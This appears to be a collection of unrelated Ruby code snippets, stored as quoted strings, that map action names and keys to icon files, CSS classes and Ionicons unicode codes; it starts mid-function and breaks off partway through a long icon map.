action.to_s.downcase\n\n case true\n when %w(new create).include?(action_str) then bootstrap_icon = 'icon-plus'\n when %w(update edit).include?(action_str) then bootstrap_icon = 'icon-pencil'\n when %w(show view).include?(action_str) then bootstrap_icon = 'icon-eye-open'\n when %w(delete destroy).include?(action_str) then bootstrap_icon = 'icon-trash'\n when %w(back).include?(action_str) then bootstrap_icon = 'icon-chevron-left'\n else bootstrap_icon = ''\n end\n\n bootstrap_icon\n end", "def icon_filename_for_key(key)\n case (key.to_s)\n when \"thumbs_up\"\n \"famfamfam_silk/thumb_up.png\"\n when \"refresh\"\n \"famfamfam_silk/arrow_refresh_small.png\"\n when \"arrow_up\"\n \"famfamfam_silk/arrow_up.png\"\n when \"arrow_down\"\n \"famfamfam_silk/arrow_down.png\"\n when \"arrow_right\", \"next\"\n \"famfamfam_silk/arrow_right.png\"\n when \"arrow_left\", \"back\"\n \"famfamfam_silk/arrow_left.png\"\n when \"bioportal_logo\"\n \"bioportal/bioportal_logo.png\"\n when \"new\"\n \"famfamfam_silk/add.png\"\n when \"download\"\n \"redmond_studio/arrow-down_16.png\"\n when \"show\"\n \"famfamfam_silk/zoom.png\"\n when \"edit\"\n \"famfamfam_silk/page_white_edit.png\"\n when \"edit-off\"\n \"stop_edit.png\"\n when \"manage\"\n \"famfamfam_silk/wrench.png\"\n when \"destroy\"\n \"famfamfam_silk/cross.png\"\n when \"tag\"\n \"famfamfam_silk/tag_blue.png\"\n when \"favourite\"\n \"famfamfam_silk/star.png\"\n when \"comment\"\n \"famfamfam_silk/comment.png\"\n when \"comments\"\n \"famfamfam_silk/comments.png\"\n when \"info\"\n \"famfamfam_silk/information.png\"\n when \"help\"\n \"famfamfam_silk/help.png\"\n when \"confirm\"\n \"famfamfam_silk/accept.png\"\n when \"reject\"\n \"famfamfam_silk/cancel.png\"\n when \"user\", \"person\"\n \"famfamfam_silk/user.png\"\n when \"user-invite\"\n \"famfamfam_silk/user_add.png\"\n when \"avatar\"\n \"famfamfam_silk/picture.png\"\n when \"avatars\"\n \"famfamfam_silk/photos.png\"\n when \"save\"\n \"famfamfam_silk/save.png\"\n when \"message\"\n \"famfamfam_silk/email.png\"\n when \"message_read\"\n \"famfamfam_silk/email_open.png\"\n when \"reply\"\n \"famfamfam_silk/email_go.png\"\n when \"message_delete\"\n \"famfamfam_silk/email_delete.png\"\n when \"messages_outbox\"\n \"famfamfam_silk/email_go.png\"\n when \"file\"\n \"redmond_studio/documents_16.png\"\n when \"logout\"\n \"famfamfam_silk/door_out.png\"\n when \"login\"\n \"famfamfam_silk/door_in.png\"\n when \"picture\"\n \"famfamfam_silk/picture.png\"\n when \"pictures\"\n \"famfamfam_silk/photos.png\"\n when \"profile\"\n \"famfamfam_silk/user_suit.png\"\n when \"history\"\n \"famfamfam_silk/time.png\"\n when \"news\"\n \"famfamfam_silk/newspaper.png\"\n when \"view-all\"\n \"famfamfam_silk/table_go.png\"\n when \"announcement\"\n \"famfamfam_silk/transmit.png\"\n when \"denied\"\n \"famfamfam_silk/exclamation.png\"\n when \"institution\"\n \"famfamfam_silk/house.png\"\n when \"project\"\n \"famfamfam_silk/report.png\"\n when \"tick\"\n \"crystal_project/22x22/apps/clean.png\"\n when \"lock\"\n \"famfamfam_silk/lock.png\"\n when \"open\"\n \"famfamfam_silk/lock_open.png\"\n when \"no_user\"\n \"famfamfam_silk/link_break.png\"\n when \"sop\"\n \"famfamfam_silk/page.png\"\n when \"sops\"\n \"famfamfam_silk/page_copy.png\"\n when \"model\"\n \"crystal_project/32x32/apps/kformula.png\"\n when \"models\"\n \"crystal_project/64x64/apps/kformula.png\"\n when \"data_file\",\"data_files\"\n \"famfamfam_silk/database.png\"\n when \"study\"\n \"famfamfam_silk/page.png\"\n when \"execute\"\n \"famfamfam_silk/lightning.png\"\n when \"warning\"\n \"crystal_project/22x22/apps/alert.png\"\n when \"skipped\"\n \"crystal_project/22x22/actions/undo.png\"\n when \"error\"\n \"famfamfam_silk/exclamation.png\"\n when \"feedback\"\n \"famfamfam_silk/email.png\"\n when \"spinner\"\n \"ajax-loader.gif\"\n when \"large-spinner\"\n \"ajax-loader-large.gif\"\n when \"current\"\n \"famfamfam_silk/bullet_green.png\"\n when \"collapse\"\n \"folds/fold.png\"\n when \"expand\"\n \"folds/unfold.png\"\n when \"pal\"\n \"famfamfam_silk/rosette.png\"\n when \"admin\"\n \"famfamfam_silk/shield.png\"\n when \"pdf_file\"\n \"file_icons/small/pdf.png\"\n when \"xls_file\"\n \"file_icons/small/xls.png\"\n when \"doc_file\"\n \"file_icons/small/doc.png\"\n when \"misc_file\"\n \"file_icons/small/genericBlue.png\"\n when \"ppt_file\"\n \"file_icons/small/ppt.png\"\n when \"xml_file\"\n \"file_icons/small/xml.png\"\n when \"zip_file\"\n \"file_icons/small/zip.png\"\n when \"jpg_file\"\n \"file_icons/small/jpg.png\"\n when \"gif_file\"\n \"file_icons/small/gif.png\"\n when \"png_file\"\n \"file_icons/small/png.png\"\n when \"txt_file\"\n \"file_icons/small/txt.png\"\n when \"investigation_avatar\"\n \"crystal_project/64x64/apps/mydocuments.png\"\n when \"study_avatar\"\n \"crystal_project/64x64/apps/package_editors.png\"\n when \"assay_avatar\",\"assay_experimental_avatar\"\n \"misc_icons/flask3-64x64.png\"\n when \"assay_modelling_avatar\"\n \"crystal_project/64x64/filesystems/desktop.png\"\n when \"model_avatar\"\n \"crystal_project/64x64/apps/kformula.png\"\n when \"person_avatar\"\n \"avatar.png\"\n when \"jerm_logo\"\n \"jerm_logo.png\"\n when \"project_avatar\"\n \"project_64x64.png\"\n when \"institution_avatar\"\n \"institution_64x64.png\"\n when \"organism_avatar\"\n \"misc_icons/green_virus-64x64.png\"\n when \"saved_search\"\n \"crystal_project/32x32/actions/find.png\"\n when \"visit_pubmed\"\n \"famfamfam_silk/page_white_go.png\"\n when \"markup\"\n \"famfamfam_silk/page_white_text.png\"\n when \"atom_feed\"\n \"misc_icons/feed_icon.png\"\n when \"impersonate\"\n \"famfamfam_silk/group_go.png\"\n when \"world\"\n \"famfamfam_silk/world.png\"\n else\n return nil\n end\n end", "def icon_ok ; @icon_ok ||= \"ok.png\" ; end", "def icon\n if !corrected\n return dash_icon\n else\n if star\n return star_icon\n elsif score == 7\n return v_icon\n else\n return x_icon\n end\n end\n end", "def method_missing(meth, *_args, &_block)\n args = meth.to_s.split(\"_\", 2)\n find_gif(Gif.where(github_type: args[0], activate: args[1]))\n end", "def action_icon_name\n case action_name\n when 'new', 'create'\n 'plus'\n when 'edit', 'update'\n 'edit'\n else\n nil\n end\n end", "def action_icon_name\n case action_name\n when 'new', 'create'\n 'plus'\n when 'edit', 'update'\n 'edit'\n else\n nil\n end\n end", "def standard_icon(standard_icon)\n\t\t\t\treturn case standard_icon\n\t\t\t\t\twhen :ok then \"check\"\n\t\t\t\t\twhen :cancel then \"times\"\n\t\t\t\t\twhen :index then \"list\"\n\t\t\t\t\twhen :show then \"clipboard\"\n\t\t\t\t\twhen :edit then \"edit\"\n\t\t\t\t\twhen :new then \"plus\"\n\t\t\t\t\twhen :destroy then \"trash\"\n\t\t\t\t\twhen :move then \"arrows-alt\"\n\t\t\t\t\twhen :move_up then \"long-arrow-alt-up\"\n\t\t\t\t\twhen :move_down then \"long-arrow-alt-down\"\n\t\t\t\t\twhen :duplicate then \"clone\"\n\t\t\t\t\twhen :profile then \"user\"\n\t\t\t\t\twhen :password then \"lock\"\n\t\t\t\t\twhen :recover then \"life-ring\"\n\t\t\t\t\twhen :sign_in then \"sign-in-alt\"\n\t\t\t\t\twhen :sign_out then \"sign-out-alt\"\n\t\t\t\t\twhen :sign_up then \"user-plus\"\n\t\t\t\t\twhen :close then \"times\"\n\t\t\t\t\twhen :reload then \"sync-alt\"\n\t\t\t\t\telse nil\n\t\t\t\tend\n\t\t\tend", "def icon\n return 'ban' if cancelled?\n return 'pencil' if incomplete?\n return nil if concluded?\n return 'question-circle' if current?\n fully_shipped? && 'exclamation-circle' || 'truck'\n end", "def icon\n img :src => $imgHostURL + \"/\" + $iconImg\n end", "def method_missing(meth, *args, &block)\n if object\n begin\n object.send(meth, *args, &block)\n rescue\n if meth.to_sym == :url\n \"/#{object.class.to_s.underscore.pluralize}/#{object.id}\"\n else\n \"No method #{meth} found for decorated #{object.class.to_s}\"\n end\n end\n else\n placeholder(meth)\n end\n end", "def image\n \"icon.png\"\n end", "def render_html\n method = @opts[:method] || 'default'\n respond_to?(method) ? send(method) : \"Error DcBigMenu: Method #{method} doesn't exist!\"\nend", "def icon_magic(r, icon_field = 'icon_path', height = nil, opts = {} )\n height ||= ICON_PATH_HEIGHT\n begin\n paz = r.send(icon_field) # || \"nil.png\"\n return link_google_images(r) if paz.nil?\n return '(empty)' if paz == ''\n # se non contiene slash devo aggiungeregli il modello\n if (paz =~ /\\// )\n iconpaz = paz # tengo http://whatever or \"/icons/sodoveandare/immagine.png\"\n else # locale ci prependo il 'apps/' o whatever\n iconpaz = \"/images/#{r.class.to_s.tableize}/#{paz}\"\n end\n link_path = opts[:link] || iconpaz\n return link_to( image_tag(iconpaz , :height => height , :border => 0), link_path ) \n rescue\n \"IconMagic Err w/ photo (model=#{r.class},field=#{icon_field}): #{$!}\"\n end\n end", "def render_icon(icon)\n icon_map = {create: 'fas fa-add', update: 'fas fa-save', list: 'fas fa-list', show: 'fas fa-eye',\n hide: 'fas fa-eye-slash', delete: 'fas fa-trash', remove: 'fas fa-times', add: 'fas fa-add'}\n icon = icon.is_a?(String) ? icon : icon_map[icon]\n icon.nil? ? '' : '<span class=\"' + icon + '\"></span>'\n end", "def content_icon\n content_icon_path << case self\n when Audio\n \"audio.png\"\n when Music\n \"music.png\"\n when Photo\n \"photo.png\"\n when Video, WebVideo\n \"movie.png\"\n else\n 'doc.png'\n end\n end", "def method_missing method, *args, &block\n method.to_s.end_with?('_path', '_url') and main_app.respond_to?(method) ? main_app.send(method, *args) : super\n end", "def feed_icon(activity)\n img = case activity_type(activity)\n when \"StatusUpdate\"\n \"friend_guy.gif\"\n when \"BlogPost\"\n \"note.gif\"\n when \"Entry\"\n \"page_white_edit.png\"\n when \"Comment\"\n \"comment.png\"\n when \"WallComment\"\n parent_type = activity.item.commentable.class.to_s\n case parent_type\n when \"BlogPost\"\n \"comments.gif\"\n when \"Photo\"\n \"comments.gif\"\n when \"Event\"\n \"comments.gif\"\n when \"User\"\n \"wall_post.gif\"\n when \"Group\"\n \"wall_post.gif\"\n when \"NewsItem\"\n \"comments.gif\"\n end\n when \"Friendship\"\n if activity.item.friend.admin?\n \"affiliation.gif\"\n else\n \"friend.gif\"\n end\n when \"ForumPost\"\n \"note.png\"\n when \"Topic\"\n \"discussion.gif\"\n when \"User\"\n \"edit_profile.gif\"\n when \"Gallery\"\n \"gallery.png\"\n when \"Photo\"\n \"photo.gif\"\n when \"Event\"\n \"event.gif\"\n when \"EventAttendee\"\n \"fbpage_add.gif\"\n when \"Group\"\n if activity.owner.class.to_s == \"Group\"\n \"edit_profile.gif\"\n else\n \"group.gif\"\n end\n when \"Membership\"\n \"group.gif\"\n when \"NewsItem\"\n if activity.owner.class.to_s == \"User\"\n \"note.gif\"\n elsif activity.owner.class.to_s == \"Group\"\n \"marketplace.gif\"\n elsif activity.owner.class.to_s == \"Widget\"\n \"notifications.gif\"\n end\n else\n raise \"無法辨識活動類型 #{activity_type(activity).inspect}\"\n end\n image_tag(\"icons/#{img}\", :class => \"icon\")\n end", "def icon\n respond_to do |format|\n if @package.present?\n format.png do\n send_file @package.icon.photo.path, :url_based_filename => true, :type => \"image/png\", :disposition => \"inline\"\n fresh_when :etag => @package, :last_modified => @package.created_at.utc, :public => true\n end\n else\n render page_not_found\n end\n end\n end", "def iconify (icon_name) # currently action_name (preferred as more specific) or controller_name \n icon_name_s = icon_name.to_s\n\n # logger.debug(\"SessionsHelper: Icon_array: #{Icon_array.inspect}, Icon_hash: #{Icon_hash.inspect}\")\n\n case \n when Icon_array.index(icon_name_s) then\n klasses = 'fa-' + icon_name_s\n when Icon_hash.key?(icon_name_s) then\n klasses = Icon_hash[ icon_name_s ]\n when ( icon_name_s =~ /^my_/ ) then\n klasses = 'fa-user'\n else\n return ''\n end\n\n return \"<i class=\\\"fa #{klasses}\\\" ></i>\"\n\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def icons\n {\n alert: \"\\uf101\",\n alert_circled: \"\\uf100\",\n android_add: \"\\uf2c7\",\n android_add_circle: \"\\uf359\",\n android_alarm_clock: \"\\uf35a\",\n android_alert: \"\\uf35b\",\n android_apps: \"\\uf35c\",\n android_archive: \"\\uf2c9\",\n android_arrow_back: \"\\uf2ca\",\n android_arrow_down: \"\\uf35d\",\n android_arrow_dropdown: \"\\uf35f\",\n android_arrow_dropdown_circle: \"\\uf35e\",\n android_arrow_dropleft: \"\\uf361\",\n android_arrow_dropleft_circle: \"\\uf360\",\n android_arrow_dropright: \"\\uf363\",\n android_arrow_dropright_circle: \"\\uf362\",\n android_arrow_dropup: \"\\uf365\",\n android_arrow_dropup_circle: \"\\uf364\",\n android_arrow_forward: \"\\uf30f\",\n android_arrow_up: \"\\uf366\",\n android_attach: \"\\uf367\",\n android_bar: \"\\uf368\",\n android_bicycle: \"\\uf369\",\n android_boat: \"\\uf36a\",\n android_bookmark: \"\\uf36b\",\n android_bulb: \"\\uf36c\",\n android_bus: \"\\uf36d\",\n android_calendar: \"\\uf2d1\",\n android_call: \"\\uf2d2\",\n android_camera: \"\\uf2d3\",\n android_cancel: \"\\uf36e\",\n android_car: \"\\uf36f\",\n android_cart: \"\\uf370\",\n android_chat: \"\\uf2d4\",\n android_checkbox: \"\\uf374\",\n android_checkbox_blank: \"\\uf371\",\n android_checkbox_outline: \"\\uf373\",\n android_checkbox_outline_blank: \"\\uf372\",\n android_checkmark_circle: \"\\uf375\",\n android_clipboard: \"\\uf376\",\n android_close: \"\\uf2d7\",\n android_cloud: \"\\uf37a\",\n android_cloud_circle: \"\\uf377\",\n android_cloud_done: \"\\uf378\",\n android_cloud_outline: \"\\uf379\",\n android_color_palette: \"\\uf37b\",\n android_compass: \"\\uf37c\",\n android_contact: \"\\uf2d8\",\n android_contacts: \"\\uf2d9\",\n android_contract: \"\\uf37d\",\n android_create: \"\\uf37e\",\n android_delete: \"\\uf37f\",\n android_desktop: \"\\uf380\",\n android_document: \"\\uf381\",\n android_done: \"\\uf383\",\n android_done_all: \"\\uf382\",\n android_download: \"\\uf2dd\",\n android_drafts: \"\\uf384\",\n android_exit: \"\\uf385\",\n android_expand: \"\\uf386\",\n android_favorite: \"\\uf388\",\n android_favorite_outline: \"\\uf387\",\n android_film: \"\\uf389\",\n android_folder: \"\\uf2e0\",\n android_folder_open: \"\\uf38a\",\n android_funnel: \"\\uf38b\",\n android_globe: \"\\uf38c\",\n android_hand: \"\\uf2e3\",\n android_hangout: \"\\uf38d\",\n android_happy: \"\\uf38e\",\n android_home: \"\\uf38f\",\n android_image: \"\\uf2e4\",\n android_laptop: \"\\uf390\",\n android_list: \"\\uf391\",\n android_locate: \"\\uf2e9\",\n android_lock: \"\\uf392\",\n android_mail: \"\\uf2eb\",\n android_map: \"\\uf393\",\n android_menu: \"\\uf394\",\n android_microphone: \"\\uf2ec\",\n android_microphone_off: \"\\uf395\",\n android_more_horizontal: \"\\uf396\",\n android_more_vertical: \"\\uf397\",\n android_navigate: \"\\uf398\",\n android_notifications: \"\\uf39b\",\n android_notifications_none: \"\\uf399\",\n android_notifications_off: \"\\uf39a\",\n android_open: \"\\uf39c\",\n android_options: \"\\uf39d\",\n android_people: \"\\uf39e\",\n android_person: \"\\uf3a0\",\n android_person_add: \"\\uf39f\",\n android_phone_landscape: \"\\uf3a1\",\n android_phone_portrait: \"\\uf3a2\",\n android_pin: \"\\uf3a3\",\n android_plane: \"\\uf3a4\",\n android_playstore: \"\\uf2f0\",\n android_print: \"\\uf3a5\",\n android_radio_button_off: \"\\uf3a6\",\n android_radio_button_on: \"\\uf3a7\",\n android_refresh: \"\\uf3a8\",\n android_remove: \"\\uf2f4\",\n android_remove_circle: \"\\uf3a9\",\n android_restaurant: \"\\uf3aa\",\n android_sad: \"\\uf3ab\",\n android_search: \"\\uf2f5\",\n android_send: \"\\uf2f6\",\n android_settings: \"\\uf2f7\",\n android_share: \"\\uf2f8\",\n android_share_alt: \"\\uf3ac\",\n android_star: \"\\uf2fc\",\n android_star_half: \"\\uf3ad\",\n android_star_outline: \"\\uf3ae\",\n android_stopwatch: \"\\uf2fd\",\n android_subway: \"\\uf3af\",\n android_sunny: \"\\uf3b0\",\n android_sync: \"\\uf3b1\",\n android_textsms: \"\\uf3b2\",\n android_time: \"\\uf3b3\",\n android_train: \"\\uf3b4\",\n android_unlock: \"\\uf3b5\",\n android_upload: \"\\uf3b6\",\n android_volume_down: \"\\uf3b7\",\n android_volume_mute: \"\\uf3b8\",\n android_volume_off: \"\\uf3b9\",\n android_volume_up: \"\\uf3ba\",\n android_walk: \"\\uf3bb\",\n android_warning: \"\\uf3bc\",\n android_watch: \"\\uf3bd\",\n android_wifi: \"\\uf305\",\n aperture: \"\\uf313\",\n archive: \"\\uf102\",\n arrow_down_a: \"\\uf103\",\n arrow_down_b: \"\\uf104\",\n arrow_down_c: \"\\uf105\",\n arrow_expand: \"\\uf25e\",\n arrow_graph_down_left: \"\\uf25f\",\n arrow_graph_down_right: \"\\uf260\",\n arrow_graph_up_left: \"\\uf261\",\n arrow_graph_up_right: \"\\uf262\",\n arrow_left_a: \"\\uf106\",\n arrow_left_b: \"\\uf107\",\n arrow_left_c: \"\\uf108\",\n arrow_move: \"\\uf263\",\n arrow_resize: \"\\uf264\",\n arrow_return_left: \"\\uf265\",\n arrow_return_right: \"\\uf266\",\n arrow_right_a: \"\\uf109\",\n arrow_right_b: \"\\uf10a\",\n arrow_right_c: \"\\uf10b\",\n arrow_shrink: \"\\uf267\",\n arrow_swap: \"\\uf268\",\n arrow_up_a: \"\\uf10c\",\n arrow_up_b: \"\\uf10d\",\n arrow_up_c: \"\\uf10e\",\n asterisk: \"\\uf314\",\n at: \"\\uf10f\",\n backspace: \"\\uf3bf\",\n backspace_outline: \"\\uf3be\",\n bag: \"\\uf110\",\n battery_charging: \"\\uf111\",\n battery_empty: \"\\uf112\",\n battery_full: \"\\uf113\",\n battery_half: \"\\uf114\",\n battery_low: \"\\uf115\",\n beaker: \"\\uf269\",\n beer: \"\\uf26a\",\n bluetooth: \"\\uf116\",\n bonfire: \"\\uf315\",\n bookmark: \"\\uf26b\",\n bowtie: \"\\uf3c0\",\n briefcase: \"\\uf26c\",\n bug: \"\\uf2be\",\n calculator: \"\\uf26d\",\n calendar: \"\\uf117\",\n camera: \"\\uf118\",\n card: \"\\uf119\",\n cash: \"\\uf316\",\n chatbox: \"\\uf11b\",\n chatbox_working: \"\\uf11a\",\n chatboxes: \"\\uf11c\",\n chatbubble: \"\\uf11e\",\n chatbubble_working: \"\\uf11d\",\n chatbubbles: \"\\uf11f\",\n checkmark: \"\\uf122\",\n checkmark_circled: \"\\uf120\",\n checkmark_round: \"\\uf121\",\n chevron_down: \"\\uf123\",\n chevron_left: \"\\uf124\",\n chevron_right: \"\\uf125\",\n chevron_up: \"\\uf126\",\n clipboard: \"\\uf127\",\n clock: \"\\uf26e\",\n close: \"\\uf12a\",\n close_circled: \"\\uf128\",\n close_round: \"\\uf129\",\n closed_captioning: \"\\uf317\",\n cloud: \"\\uf12b\",\n code: \"\\uf271\",\n code_download: \"\\uf26f\",\n code_working: \"\\uf270\",\n coffee: \"\\uf272\",\n compass: \"\\uf273\",\n compose: \"\\uf12c\",\n connection_bars: \"\\uf274\",\n contrast: \"\\uf275\",\n crop: \"\\uf3c1\",\n cube: \"\\uf318\",\n disc: \"\\uf12d\",\n document: \"\\uf12f\",\n document_text: \"\\uf12e\",\n drag: \"\\uf130\",\n earth: \"\\uf276\",\n easel: \"\\uf3c2\",\n edit: \"\\uf2bf\",\n egg: \"\\uf277\",\n eject: \"\\uf131\",\n email: \"\\uf132\",\n email_unread: \"\\uf3c3\",\n erlenmeyer_flask: \"\\uf3c5\",\n erlenmeyer_flask_bubbles: \"\\uf3c4\",\n eye: \"\\uf133\",\n eye_disabled: \"\\uf306\",\n female: \"\\uf278\",\n filing: \"\\uf134\",\n film_marker: \"\\uf135\",\n fireball: \"\\uf319\",\n flag: \"\\uf279\",\n flame: \"\\uf31a\",\n flash: \"\\uf137\",\n flash_off: \"\\uf136\",\n folder: \"\\uf139\",\n fork: \"\\uf27a\",\n fork_repo: \"\\uf2c0\",\n forward: \"\\uf13a\",\n funnel: \"\\uf31b\",\n gear_a: \"\\uf13d\",\n gear_b: \"\\uf13e\",\n grid: \"\\uf13f\",\n hammer: \"\\uf27b\",\n happy: \"\\uf31c\",\n happy_outline: \"\\uf3c6\",\n headphone: \"\\uf140\",\n heart: \"\\uf141\",\n heart_broken: \"\\uf31d\",\n help: \"\\uf143\",\n help_buoy: \"\\uf27c\",\n help_circled: \"\\uf142\",\n home: \"\\uf144\",\n icecream: \"\\uf27d\",\n image: \"\\uf147\",\n images: \"\\uf148\",\n information: \"\\uf14a\",\n information_circled: \"\\uf149\",\n ionic: \"\\uf14b\",\n ios_alarm: \"\\uf3c8\",\n ios_alarm_outline: \"\\uf3c7\",\n ios_albums: \"\\uf3ca\",\n ios_albums_outline: \"\\uf3c9\",\n ios_americanfootball: \"\\uf3cc\",\n ios_americanfootball_outline: \"\\uf3cb\",\n ios_analytics: \"\\uf3ce\",\n ios_analytics_outline: \"\\uf3cd\",\n ios_arrow_back: \"\\uf3cf\",\n ios_arrow_down: \"\\uf3d0\",\n ios_arrow_forward: \"\\uf3d1\",\n ios_arrow_left: \"\\uf3d2\",\n ios_arrow_right: \"\\uf3d3\",\n ios_arrow_thin_down: \"\\uf3d4\",\n ios_arrow_thin_left: \"\\uf3d5\",\n ios_arrow_thin_right: \"\\uf3d6\",\n ios_arrow_thin_up: \"\\uf3d7\",\n ios_arrow_up: \"\\uf3d8\",\n ios_at: \"\\uf3da\",\n ios_at_outline: \"\\uf3d9\",\n ios_barcode: \"\\uf3dc\",\n ios_barcode_outline: \"\\uf3db\",\n ios_baseball: \"\\uf3de\",\n ios_baseball_outline: \"\\uf3dd\",\n ios_basketball: \"\\uf3e0\",\n ios_basketball_outline: \"\\uf3df\",\n ios_bell: \"\\uf3e2\",\n ios_bell_outline: \"\\uf3e1\",\n ios_body: \"\\uf3e4\",\n ios_body_outline: \"\\uf3e3\",\n ios_bolt: \"\\uf3e6\",\n ios_bolt_outline: \"\\uf3e5\",\n ios_book: \"\\uf3e8\",\n ios_book_outline: \"\\uf3e7\",\n ios_bookmarks: \"\\uf3ea\",\n ios_bookmarks_outline: \"\\uf3e9\",\n ios_box: \"\\uf3ec\",\n ios_box_outline: \"\\uf3eb\",\n ios_briefcase: \"\\uf3ee\",\n ios_briefcase_outline: \"\\uf3ed\",\n ios_browsers: \"\\uf3f0\",\n ios_browsers_outline: \"\\uf3ef\",\n ios_calculator: \"\\uf3f2\",\n ios_calculator_outline: \"\\uf3f1\",\n ios_calendar: \"\\uf3f4\",\n ios_calendar_outline: \"\\uf3f3\",\n ios_camera: \"\\uf3f6\",\n ios_camera_outline: \"\\uf3f5\",\n ios_cart: \"\\uf3f8\",\n ios_cart_outline: \"\\uf3f7\",\n ios_chatboxes: \"\\uf3fa\",\n ios_chatboxes_outline: \"\\uf3f9\",\n ios_chatbubble: \"\\uf3fc\",\n ios_chatbubble_outline: \"\\uf3fb\",\n ios_checkmark: \"\\uf3ff\",\n ios_checkmark_empty: \"\\uf3fd\",\n ios_checkmark_outline: \"\\uf3fe\",\n ios_circle_filled: \"\\uf400\",\n ios_circle_outline: \"\\uf401\",\n ios_clock: \"\\uf403\",\n ios_clock_outline: \"\\uf402\",\n ios_close: \"\\uf406\",\n ios_close_empty: \"\\uf404\",\n ios_close_outline: \"\\uf405\",\n ios_cloud: \"\\uf40c\",\n ios_cloud_download: \"\\uf408\",\n ios_cloud_download_outline: \"\\uf407\",\n ios_cloud_outline: \"\\uf409\",\n ios_cloud_upload: \"\\uf40b\",\n ios_cloud_upload_outline: \"\\uf40a\",\n ios_cloudy: \"\\uf410\",\n ios_cloudy_night: \"\\uf40e\",\n ios_cloudy_night_outline: \"\\uf40d\",\n ios_cloudy_outline: \"\\uf40f\",\n ios_cog: \"\\uf412\",\n ios_cog_outline: \"\\uf411\",\n ios_color_filter: \"\\uf414\",\n ios_color_filter_outline: \"\\uf413\",\n ios_color_wand: \"\\uf416\",\n ios_color_wand_outline: \"\\uf415\",\n ios_compose: \"\\uf418\",\n ios_compose_outline: \"\\uf417\",\n ios_contact: \"\\uf41a\",\n ios_contact_outline: \"\\uf419\",\n ios_copy: \"\\uf41c\",\n ios_copy_outline: \"\\uf41b\",\n ios_crop: \"\\uf41e\",\n ios_crop_strong: \"\\uf41d\",\n ios_download: \"\\uf420\",\n ios_download_outline: \"\\uf41f\",\n ios_drag: \"\\uf421\",\n ios_email: \"\\uf423\",\n ios_email_outline: \"\\uf422\",\n ios_eye: \"\\uf425\",\n ios_eye_outline: \"\\uf424\",\n ios_fastforward: \"\\uf427\",\n ios_fastforward_outline: \"\\uf426\",\n ios_filing: \"\\uf429\",\n ios_filing_outline: \"\\uf428\",\n ios_film: \"\\uf42b\",\n ios_film_outline: \"\\uf42a\",\n ios_flag: \"\\uf42d\",\n ios_flag_outline: \"\\uf42c\",\n ios_flame: \"\\uf42f\",\n ios_flame_outline: \"\\uf42e\",\n ios_flask: \"\\uf431\",\n ios_flask_outline: \"\\uf430\",\n ios_flower: \"\\uf433\",\n ios_flower_outline: \"\\uf432\",\n ios_folder: \"\\uf435\",\n ios_folder_outline: \"\\uf434\",\n ios_football: \"\\uf437\",\n ios_football_outline: \"\\uf436\",\n ios_game_controller_a: \"\\uf439\",\n ios_game_controller_a_outline: \"\\uf438\",\n ios_game_controller_b: \"\\uf43b\",\n ios_game_controller_b_outline: \"\\uf43a\",\n ios_gear: \"\\uf43d\",\n ios_gear_outline: \"\\uf43c\",\n ios_glasses: \"\\uf43f\",\n ios_glasses_outline: \"\\uf43e\",\n ios_grid_view: \"\\uf441\",\n ios_grid_view_outline: \"\\uf440\",\n ios_heart: \"\\uf443\",\n ios_heart_outline: \"\\uf442\",\n ios_help: \"\\uf446\",\n ios_help_empty: \"\\uf444\",\n ios_help_outline: \"\\uf445\",\n ios_home: \"\\uf448\",\n ios_home_outline: \"\\uf447\",\n ios_infinite: \"\\uf44a\",\n ios_infinite_outline: \"\\uf449\",\n ios_information: \"\\uf44d\",\n ios_information_empty: \"\\uf44b\",\n ios_information_outline: \"\\uf44c\",\n ios_ionic_outline: \"\\uf44e\",\n ios_keypad: \"\\uf450\",\n ios_keypad_outline: \"\\uf44f\",\n ios_lightbulb: \"\\uf452\",\n ios_lightbulb_outline: \"\\uf451\",\n ios_list: \"\\uf454\",\n ios_list_outline: \"\\uf453\",\n ios_location: \"\\uf456\",\n ios_location_outline: \"\\uf455\",\n ios_locked: \"\\uf458\",\n ios_locked_outline: \"\\uf457\",\n ios_loop: \"\\uf45a\",\n ios_loop_strong: \"\\uf459\",\n ios_medical: \"\\uf45c\",\n ios_medical_outline: \"\\uf45b\",\n ios_medkit: \"\\uf45e\",\n ios_medkit_outline: \"\\uf45d\",\n ios_mic: \"\\uf461\",\n ios_mic_off: \"\\uf45f\",\n ios_mic_outline: \"\\uf460\",\n ios_minus: \"\\uf464\",\n ios_minus_empty: \"\\uf462\",\n ios_minus_outline: \"\\uf463\",\n ios_monitor: \"\\uf466\",\n ios_monitor_outline: \"\\uf465\",\n ios_moon: \"\\uf468\",\n ios_moon_outline: \"\\uf467\",\n ios_more: \"\\uf46a\",\n ios_more_outline: \"\\uf469\",\n ios_musical_note: \"\\uf46b\",\n ios_musical_notes: \"\\uf46c\",\n ios_navigate: \"\\uf46e\",\n ios_navigate_outline: \"\\uf46d\",\n ios_nutrition: \"\\uf470\",\n ios_nutrition_outline: \"\\uf46f\",\n ios_paper: \"\\uf472\",\n ios_paper_outline: \"\\uf471\",\n ios_paperplane: \"\\uf474\",\n ios_paperplane_outline: \"\\uf473\",\n ios_partlysunny: \"\\uf476\",\n ios_partlysunny_outline: \"\\uf475\",\n ios_pause: \"\\uf478\",\n ios_pause_outline: \"\\uf477\",\n ios_paw: \"\\uf47a\",\n ios_paw_outline: \"\\uf479\",\n ios_people: \"\\uf47c\",\n ios_people_outline: \"\\uf47b\",\n ios_person: \"\\uf47e\",\n ios_person_outline: \"\\uf47d\",\n ios_personadd: \"\\uf480\",\n ios_personadd_outline: \"\\uf47f\",\n ios_photos: \"\\uf482\",\n ios_photos_outline: \"\\uf481\",\n ios_pie: \"\\uf484\",\n ios_pie_outline: \"\\uf483\",\n ios_pint: \"\\uf486\",\n ios_pint_outline: \"\\uf485\",\n ios_play: \"\\uf488\",\n ios_play_outline: \"\\uf487\",\n ios_plus: \"\\uf48b\",\n ios_plus_empty: \"\\uf489\",\n ios_plus_outline: \"\\uf48a\",\n ios_pricetag: \"\\uf48d\",\n ios_pricetag_outline: \"\\uf48c\",\n ios_pricetags: \"\\uf48f\",\n ios_pricetags_outline: \"\\uf48e\",\n ios_printer: \"\\uf491\",\n ios_printer_outline: \"\\uf490\",\n ios_pulse: \"\\uf493\",\n ios_pulse_strong: \"\\uf492\",\n ios_rainy: \"\\uf495\",\n ios_rainy_outline: \"\\uf494\",\n ios_recording: \"\\uf497\",\n ios_recording_outline: \"\\uf496\",\n ios_redo: \"\\uf499\",\n ios_redo_outline: \"\\uf498\",\n ios_refresh: \"\\uf49c\",\n ios_refresh_empty: \"\\uf49a\",\n ios_refresh_outline: \"\\uf49b\",\n ios_reload: 